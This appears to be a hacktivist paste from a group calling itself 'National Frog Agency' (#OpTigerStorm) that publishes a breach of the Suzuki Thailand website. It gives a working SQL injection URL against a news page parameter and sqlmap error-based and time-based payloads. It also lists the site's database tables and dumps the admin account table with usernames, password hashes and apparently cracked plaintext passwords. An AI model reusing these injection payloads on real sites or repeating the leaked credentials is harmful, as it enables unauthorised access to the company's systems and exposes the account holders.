thaisuzuki.co.th - Suzuki Thailand - Database.

don't mind us, we're just a couple of
 _______  ______    _______    _______  ______    _______  _______  _______
|   _   ||    _ |  |   _   |  |       ||    _ |  |       ||       ||       |
|  |_|  ||   | ||  |  |_|  |  |    ___||   | ||  |   _   ||    ___||  _____|
|       ||   |_||_ |       |  |   |___ |   |_||_ |  | |  ||   | __ | |_____
|       ||    __  ||       |  |    ___||    __  ||  |_|  ||   ||  ||_____  |
|   _   ||   |  | ||   _   |  |   |    |   |  | ||       ||   |_| | _____| |
|__| |__||___|  |_||__| |__|  |___|    |___|  |_||_______||_______||_______|
			National Frog Agency/Central Frog Services
							 @NFAGov
						  #OpTigerStorm
#################################################################################################
don't mind if we leave this here, do ya?

POC:
http://www.thaisuzuki.co.th/news.php?id=-45%20and%200%20Union%20Select%201,2,unhex(hex(group_concat(username,0x3a,password))),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33%20from%20admin_member--+

RESULTS:
admin:5f8dda40812fe6bcf65c20e39c5010dd [shk,[vd.8i]
idesign:7a41c8c1bdd97284e67fb9ac961a0631 [idesign888]
tak:6d33cdf2cf612ec8f534f1939bbf26ee  [admin555]
##################################################################################
SQLMAP extraction:
POC:
Parameter: id (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=45 AND (SELECT 9923 FROM(SELECT COUNT(*),CONCAT(0x71717a7071,(SELECT (ELT(9923=9923,1))),0x71627a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=45 AND (SELECT * FROM (SELECT(SLEEP(5)))JszM)
##################################################################
available databases [2]:
[*] information_schema
[*] thaisuzuki_db
\/\/\/\/\/
Database: thaisuzuki_db
[15 tables]
+---------------+
| admin_member  |
| ch_lanuage    |
| s_contact     |
| s_dealer      |
| s_dealer2     |
| s_ip_check    |
| s_member      |
| s_news        |
| s_news_backup |
| s_news_cat    |
| s_news_pic    |
| s_pin         |
| s_setting     |
| s_upload      |
| s_vdo         |
+---------------+
\/\/\/
Table: admin_member
[3 entries]
+----+-------+----------+----------------------------------+---------+
| id | admin | username | password                         | email   |
+----+-------+----------+----------------------------------+---------+
| 24 | 0     | admin    | 5f8dda40812fe6bcf65c20e39c5010dd | <blank> |
| 25 | 0     | idesign  | 7a41c8c1bdd97284e67fb9ac961a0631 | <blank> |
| 27 | 0     | tak      | 6d33cdf2cf612ec8f534f1939bbf26ee | <blank> |
+----+-------+----------+----------------------------------+---------+